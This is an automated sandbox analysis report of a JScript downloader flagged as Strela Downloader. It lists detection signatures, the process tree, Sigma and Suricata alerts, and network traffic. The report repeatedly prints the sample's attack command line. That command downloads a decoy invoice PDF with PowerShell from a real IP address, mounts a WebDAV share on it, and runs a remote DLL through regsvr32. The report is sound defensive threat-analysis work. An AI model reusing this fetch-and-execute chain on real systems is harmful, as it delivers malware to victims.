Edit tour

Windows Analysis Report
206038195771531175.js

Overview

General Information

Sample name:	206038195771531175.js
Analysis ID:	1588178
MD5:	6e9e3be31dceb44434846b18bfb0f218
SHA1:	363f8264df43ce5f4afe1f1b376cb235412eb093
SHA256:	67770faba18c011f49fb6f02e6941191f0195b1a895cdd3cf2930d186f45a141
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7892 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8056 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8112 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7784 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7896 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1748,i,2527639246368942575,9388210296108734514,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6024 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5768 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5896 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7892	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8056, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8056, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ProcessId: 7892, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5768, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49712

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ProcessId: 7892, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8056, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5768, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5896, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6024, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5768, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\206038195771531175.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7892, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\157751056224527.dll, ProcessId: 8056, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:21:11.076646+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49712	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:21:08.382580+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 206038195771531175.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 206038195771531175.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49712 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:21:08 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49712

Source: global traffic

TCP traffic: 192.168.2.10:49712 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:59275 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49705 -> 193.143.1.205:80

Source: global traffic

